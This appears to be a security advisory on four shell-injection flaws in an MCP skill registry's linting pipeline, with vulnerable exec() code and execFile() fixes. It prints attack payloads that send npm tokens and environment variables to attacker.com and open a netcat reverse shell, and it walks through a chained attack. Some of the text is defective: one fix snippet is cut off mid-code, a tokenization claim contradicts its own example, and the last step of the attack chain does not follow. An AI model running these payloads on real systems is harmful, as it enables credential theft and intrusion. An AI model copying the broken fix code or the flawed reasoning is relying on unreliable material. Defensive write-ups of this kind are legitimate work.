Claude MCP skill code injection — skill static analysis and linting pipeline endpoints — SA-SKL-INJECTION50
SA-SKL-INJECTION50 documents four code injection vulnerabilities in MCP skill registry skill static analysis and linting pipeline endpoints. Static analysis and linting pipelines invoke external security tooling — eslint, semgrep, bandit, pylint — as child processes, passing user-supplied or registry-derived arguments to command strings constructed with string interpolation. When arguments are not validated and passed through execFile() as arrays, shell metacharacters in any argument can inject arbitrary commands that run with the privileges of the analysis service. INJECTION50 identifies four distinct command injection paths across the linting pipeline, ranging from npm credential exfiltration to full reverse shell establishment.
exec(`eslint ${targetFile} --config ${configFile} --format ${outputFormat}`) — attacker targetFile with ; cat ~/.npmrc exfiltrates npm auth tokens and registry configuration; fix: execFile() array; realpathSync containment for targetFile; validate configFile from server-side allowlist; validate outputFormat against /^(json|stylish|compact|tap|unix|visualstudio)$/exec(`semgrep --config ${rulesetPath} --json ${targetDir}`) — attacker rulesetPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate rulesetPath from server-side ruleset allowlist; realpathSync containment for targetDirexec(`bandit -r ${scanPath} -f ${outputFormat} -o ${outputFile}`) — attacker scanPath with ; printenv exfiltrates all env vars including GITHUB_TOKEN and cloud provider credentials; fix: execFile() array; realpathSync containment for scanPath; validate outputFormat; realpathSync containment for outputFileexec(`pylint ${targetFile} --output-format=${outputFormat}`) — attacker outputFormat with space-injected --rcfile=attacker.pylintrc loads attacker-controlled linting config from arbitrary path, disabling security checks; fix: execFile() array; validate outputFormat against /^(json|text|colorized|msvs|parseable|progress)$/; realpathSync containment for targetFileINJECTION50-001 — eslint command injection via targetFile and outputFormat exfiltrating npm auth tokens
Severity: CRITICAL
The eslint linting endpoint constructs the eslint command string using template literal interpolation of user-supplied targetFile, configFile, and outputFormat arguments, then executes the string using Node.js's exec() function. The exec() function passes its argument to the shell (/bin/sh -c), which interprets shell metacharacters including semicolons, pipes, backticks, and subshell operators. An attacker supplies a targetFile value of /app/skills/my-skill.js; cat ~/.npmrc | curl -d @- attacker.com. The shell executes the eslint command on the first segment, then executes the injected cat ~/.npmrc command, exfiltrating the npm authentication token and registry configuration that may contain private registry credentials.
The configFile and outputFormat parameters are equally injectable. An attacker who can only control outputFormat can still inject commands, though the injection point is after the --format flag which may require different metacharacter selection depending on how the shell tokenizes the command. The fix requires replacing exec() with execFile() and passing arguments as an array, which bypasses shell interpretation entirely — no metacharacters can break out of argument boundaries when arguments are passed as an array to execFile().
Path containment using realpathSync() is additionally required for file path arguments to prevent directory traversal attacks that could cause eslint to lint files outside the designated scan directory — including configuration files and secrets in adjacent directories on the filesystem.
Never construct shell command strings with exec() from user-supplied arguments. Any argument that is interpolated into a shell command string is a code injection vector. The fix is not input sanitization — it is replacing exec() with execFile() and passing arguments as an array, which removes the shell interpreter from the execution path entirely and makes argument injection structurally impossible.
// eslint linting via exec() with string interpolation — shell injection via any argument
const { exec } = require('child_process');
function runEslint(targetFile, configFile, outputFormat) {
// attacker: targetFile = '/app/skills/x.js; cat ~/.npmrc | curl -d @- attacker.com'
const cmd = `eslint ${targetFile} --config ${configFile} --format ${outputFormat}`;
return new Promise((resolve, reject) => {
exec(cmd, (err, stdout, stderr) => { // shell interprets metacharacters
if (err) return reject(stderr);
resolve(stdout);
});
});
}
// eslint linting via execFile() with array args + realpathSync containment + allowlists
import { execFile } from 'node:child_process';
import { realpathSync } from 'node:fs';
import path from 'node:path';
const SCAN_ROOT = '/app/scan-workspaces';
const ESLINT_CONFIG_ALLOWLIST = new Set(['.eslintrc.security.json', '.eslintrc.default.json']);
const OUTPUT_FORMAT_RE = /^(json|stylish|compact|tap|unix|visualstudio)$/;
function containPath(inputPath: string, root: string): string {
const resolved = realpathSync(path.resolve(root, inputPath));
if (!resolved.startsWith(root + path.sep) && resolved !== root) {
throw new Error('Path traversal attempt detected');
}
return resolved;
}
function runEslint(targetFile: string, configFile: string, outputFormat: string) {
const safeTarget = containPath(targetFile, SCAN_ROOT);
if (!ESLINT_CONFIG_ALLOWLIST.has(path.basename(configFile))) {
throw new Error('Config file not in allowlist');
}
if (!OUTPUT_FORMAT_RE.test(outputFormat)) {
throw new Error('Invalid output format');
}
return new Promise((resolve, reject) => {
execFile('eslint', [safeTarget, '--config', configFile, '--format', outputFormat], {
timeout: 30_000, maxBuffer: 10 * 1024 * 1024,
}, (err, stdout, stderr) => {
if (err) return reject(stderr);
resolve(stdout);
});
});
}
INJECTION50-002 — semgrep reverse shell via ruleset path injection
Severity: CRITICAL
The semgrep analysis endpoint constructs the semgrep command string using template literal interpolation of the user-supplied rulesetPath and targetDir arguments. An attacker supplies a rulesetPath value of /app/rulesets/security.yml; nc attacker.com 4444 -e /bin/sh. The shell executes the semgrep scan on the first segment, then spawns a netcat reverse shell that connects to the attacker's listener with a fully interactive shell session running as the analysis service user. This provides persistent remote access to the analysis service host, including all files accessible to the service user, all environment variables, and all network connectivity from the host.
Unlike the eslint injection (INJECTION50-001) which requires the attacker to know a specific output target, the semgrep reverse shell injection produces an interactive session that persists until the connection is closed. The analysis service process continues running normally after the injection, so the reverse shell is not reflected in the scan results returned to the caller. The injection may go undetected until the reverse shell connection is noticed in network monitoring or the analysis service is restarted.
Ruleset path arguments are particularly dangerous injection vectors in analysis pipelines. Ruleset paths appear to be filesystem paths under operator control, but when passed through shell interpolation they are as injectable as any other string argument. All arguments to static analysis tool invocations must be passed as arrays to execFile(), with file paths validated using realpathSync() containment and non-path arguments validated against strict allowlists or regular expressions.
// semgrep analysis via exec() with string interpolation — reverse shell via rulesetPath
const { exec } = require('child_process');
function runSemgrep(rulesetPath, targetDir) {
// attacker: rulesetPath = '/app/rulesets/x.yml; nc attacker.com 4444 -e /bin/sh'
const cmd = `semgrep --config ${rulesetPath} --json ${targetDir}`;
return new Promise((resolve, reject) => {
exec(cmd, (err, stdout) => {
if (err) return reject(err);
resolve(JSON.parse(stdout));
});
});
}
// semgrep analysis via execFile() array + realpathSync containment for both paths
import { execFile } from 'node:child_process';
import { realpathSync } from 'node:fs';
import path from 'node:path';
const RULESET_ROOT = '/app/rulesets';
const TARGET_ROOT = '/app/scan-workspaces';
function runSemgrep(rulesetPath: string, targetDir: string) {
const safeRuleset = containPath(rulesetPath, RULESET_ROOT);
const safeTarget = containPath(targetDir, TARGET_ROOT);
return new Promise
INJECTION50-003 — bandit env var exfiltration via scan path injection
Severity: CRITICAL
The bandit Python security scanner endpoint constructs the bandit command string using template literal interpolation of the user-supplied scanPath, outputFormat, and outputFile arguments. An attacker supplies a scanPath value of /app/skills/my-skill; printenv | curl -d @- https://attacker.com/env. The shell executes bandit on the first path segment, then runs printenv and exfiltrates all environment variables to the attacker's server. Environment variables in analysis service processes routinely contain GITHUB_TOKEN, NPM_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, cloud provider credentials for CI integrations, and database connection strings injected via the deployment environment.
The outputFormat argument is also injectable and can be used to inject additional bandit flags or shell commands. The outputFile argument is injectable with path traversal — an attacker can redirect the bandit output file to /etc/cron.d/backdoor or ~/.ssh/authorized_keys if the analysis service user has write permission to those paths. This makes INJECTION50-003 a triple-injection vulnerability with three distinct payload delivery mechanisms in the same command string.
Output file path arguments are as dangerous as input path arguments. An injectable output file path can be used to write attacker-controlled content to arbitrary filesystem locations. All path arguments — both input and output — must be validated using realpathSync() containment against the designated workspace root, and all format arguments must be validated against an explicit allowlist regex before being passed to execFile().
// bandit Python scanner via exec() with string interpolation — env var exfiltration via scanPath
const { exec } = require('child_process');
function runBandit(scanPath, outputFormat, outputFile) {
// attacker: scanPath = '/app/skills/x; printenv | curl -d @- https://attacker.com/env'
const cmd = `bandit -r ${scanPath} -f ${outputFormat} -o ${outputFile}`;
return new Promise((resolve, reject) => {
exec(cmd, (err, stdout, stderr) => {
if (err) return reject(stderr);
resolve(stdout);
});
});
}
// bandit Python scanner via execFile() array + realpathSync for scanPath + outputFile
import { execFile } from 'node:child_process';
const OUTPUT_FORMAT_RE = /^(json|csv|txt|xml|html|screen)$/;
const OUTPUT_ROOT = '/app/scan-output';
function runBandit(scanPath: string, outputFormat: string, outputFile: string) {
const safeScan = containPath(scanPath, TARGET_ROOT);
if (!OUTPUT_FORMAT_RE.test(outputFormat)) {
throw new Error('Invalid bandit output format');
}
const safeOutput = containPath(outputFile, OUTPUT_ROOT);
return new Promise((resolve, reject) => {
execFile('bandit', ['-r', safeScan, '-f', outputFormat, '-o', safeOutput], {
timeout: 60_000, maxBuffer: 10 * 1024 * 1024,
}, (err, _stdout, stderr) => {
// bandit exits non-zero when issues are found — that is not an error condition
if (err && err.code !== 1) return reject(stderr);
resolve();
});
});
}
INJECTION50-004 — pylint config loading via output format space injection
Severity: HIGH
The pylint linting endpoint constructs the pylint command string using template literal interpolation, with the outputFormat argument interpolated as part of a combined flag: --output-format=${outputFormat}. Because the flag and value are passed as a single string to the shell, a space character in outputFormat causes the shell to tokenize the remainder as a new positional argument. An attacker supplies outputFormat as text --rcfile=/tmp/attacker.pylintrc. The shell tokenizes this as three separate arguments: --output-format=text, --rcfile=/tmp/attacker.pylintrc. Pylint loads the attacker-controlled .pylintrc configuration file, which can disable all security-relevant lint checks, suppress specific error codes that would flag vulnerable patterns, and configure pylint to output false-negative scan results that make the analyzed skill appear clean to the registry's automated review pipeline.
Unlike the previous injection findings (INJECTION50-001 through 003) that achieve RCE or credential exfiltration, INJECTION50-004 achieves security analysis subversion — the attacker's skill passes automated security scanning with no findings, allowing a vulnerable or malicious skill to be published to the registry without triggering the security gate that the linting pipeline is designed to enforce.
Space injection via format flag arguments subverts security scan integrity. When a combined flag-value argument like --output-format=text --rcfile=evil is passed through the shell, the shell tokenizes it as separate arguments, injecting attacker-controlled flags into the tool invocation. This allows the attacker to load arbitrary tool configuration files that disable security checks, undermining the registry's automated security review pipeline.
// pylint via exec() — space injection in outputFormat injects --rcfile flag
const { exec } = require('child_process');
function runPylint(targetFile, outputFormat) {
// attacker: outputFormat = 'text --rcfile=/tmp/attacker.pylintrc'
// shell tokenizes as: pylint /app/skills/x.py --output-format=text --rcfile=/tmp/attacker.pylintrc
const cmd = `pylint ${targetFile} --output-format=${outputFormat}`;
return new Promise((resolve, reject) => {
exec(cmd, (err, stdout) => {
if (err) return reject(err);
resolve(stdout);
});
});
}
// pylint via execFile() array + strict outputFormat allowlist + realpathSync for targetFile
import { execFile } from 'node:child_process';
const PYLINT_FORMAT_RE = /^(json|text|colorized|msvs|parseable|progress)$/;
function runPylint(targetFile: string, outputFormat: string) {
const safeTarget = containPath(targetFile, TARGET_ROOT);
if (!PYLINT_FORMAT_RE.test(outputFormat)) {
throw new Error('Invalid pylint output format');
}
return new Promise((resolve, reject) => {
execFile('pylint', [safeTarget, `--output-format=${outputFormat}`, '--rcfile=/app/config/.pylintrc'], {
// pin --rcfile to server-controlled path — no caller-supplied rcfile
timeout: 30_000, maxBuffer: 10 * 1024 * 1024,
}, (err, stdout) => {
// pylint exits non-zero when lint issues found — treat as normal result
if (err && typeof err.code === 'number' && err.code > 1) return reject(err);
resolve(stdout);
});
});
}
All four SA-SKL-INJECTION50 vulnerabilities reflect a consistent pattern of constructing shell command strings via string interpolation with user-supplied or registry-derived arguments across the static analysis and linting pipeline. SkillAudit detects INJECTION50-001 through INJECTION50-003 by flagging exec() calls where any template literal variable in the command string is derived from a request parameter, database field, or queue message rather than a compile-time constant; INJECTION50-004 by detecting the specific pattern of combined flag-value interpolation (--flag=${variable}) in exec() calls. All findings include remediation snippets and links to this advisory. See also SA-SKL-INJECTION49 on build and compilation pipeline endpoints for the companion injection chain.
Compound attack chain: INJECTION50-003 → INJECTION50-002 → INJECTION50-004 → INJECTION50-001
The four INJECTION50 findings compose into an escalating attack chain that moves from credential theft to persistent access to security analysis subversion. An attacker first exploits INJECTION50-003 (bandit scan path injection) to run printenv and exfiltrate environment variables. Among the exfiltrated variables are likely a GITHUB_TOKEN and cloud provider credentials that grant access to the registry's CI infrastructure and cloud storage.
With cloud credentials in hand, the attacker uses INJECTION50-002 (semgrep ruleset path injection) to establish a reverse shell, gaining interactive access to the analysis service host. From within the shell, the attacker can read the full filesystem, modify configuration files, and plant persistence mechanisms. The attacker then crafts a malicious .pylintrc configuration file at a path accessible to the analysis service and exploits INJECTION50-004 (pylint format space injection) to load it, disabling all security-relevant lint checks for subsequent scan requests.
Finally, the attacker submits a malicious skill through the registry and uses INJECTION50-001 (eslint command injection) to cause the eslint scan of the malicious skill to silently pass, completing the security gate bypass. The malicious skill is published to the registry with a clean security scan certificate, potentially reaching thousands of downstream MCP runtime installations before the compromise is detected.
SkillAudit detection
SkillAudit's static analysis rules detect all four INJECTION50 vulnerability classes during CI pipeline scanning. The shell injection detector flags any exec(), execSync(), spawn() with shell: true, or spawnSync() with shell: true call where any template literal variable or string concatenation operand in the command argument is not a compile-time constant. The combined-flag injection detector specifically flags the --flag=${variable} pattern in exec() command strings where the variable is not validated against a strict allowlist regex in the same function scope. The path containment detector flags realpathSync() results that are not checked against a known-safe root prefix before being passed to child process invocations. All findings include remediation snippets and links to this advisory.